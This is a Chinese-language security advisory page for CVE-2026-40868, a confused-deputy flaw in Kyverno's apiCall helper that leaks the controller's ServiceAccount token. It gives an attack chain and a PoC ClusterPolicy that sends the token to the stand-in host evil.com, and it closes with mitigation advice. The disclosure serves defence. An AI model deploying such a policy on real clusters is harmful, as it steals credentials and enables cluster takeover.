IPBUF安全漏洞报告
English
CVE-2026-40868 CVSS 8.1 高危

CVE-2026-40868 Kyverno令牌泄露漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40868
漏洞类型
混淆代理问题
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kyverno

相关标签

Kyverno混淆代理信息泄露KubernetesSSRF

漏洞概述

Kyverno在1.16.4版本前存在混淆代理漏洞。当ClusterPolicy使用apiCall helper且未显式设置Authorization头时,系统会隐式注入Kyverno控制器的ServiceAccount令牌。攻击者可利用策略控制的URL将此令牌发送至受控端点,导致权限提升或信息泄露。

技术细节

该漏洞源于Kyverno引擎在处理`apiCall servicecall`辅助函数时的逻辑缺陷。在1.16.4版本之前,当ClusterPolicy定义了`apiCall`但未显式指定Authorization请求头时,系统会自动注入Kyverno控制器的高权限ServiceAccount Bearer Token。由于目标URL`context.apiCall.service.url`受策略控制,且ClusterPolicy绕过了针对命名空间策略的URL路径限制,攻击者可利用此“混淆代理”漏洞。通过精心构造策略,攻击者将URL指向外部恶意服务器。策略触发后,Kyverno将携带敏感令牌向该服务器发起请求,攻击者截获令牌后即可获取Kyverno在集群内的管理员权限,进而接管整个Kubernetes集群。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意的ClusterPolicy,其中包含一个apiCall上下文。
STEP 2
步骤2
攻击者将apiCall的URL设置为指向其控制的外部服务器,并且不设置Authorization头。
STEP 3
步骤3
攻击者在集群中创建或修改资源(如Pod)以触发该策略的执行。
STEP 4
步骤4
Kyverno引擎处理策略,检测到缺少Authorization头,隐式注入Controller ServiceAccount的Bearer Token。
STEP 5
步骤5
Kyverno向攻击者控制的服务器发送带有高权限Token的HTTP请求。
STEP 6
步骤6
攻击者服务器接收并记录Token,利用该凭证接管集群。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: data-exfil spec: rules: - name: leak-token match: resources: kinds: - Pod context: - name: attackerData apiCall: service: # URL controlled by the attacker url: "https://evil.com/log" # No explicit Authorization header, Kyverno injects its own token mutate: patchStrategicMerge: metadata: annotations: # Just to trigger the context evaluation status: "{{ attackerData }}"

影响范围

Kyverno < 1.16.4

防御指南

临时缓解措施
建议立即升级到修复版本。若无法升级,应通过网络策略(NetworkPolicy)限制Kyverno Pod仅能访问受信的内网端点,并严格监控集群外联流量,检测是否存在异常的数据外传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表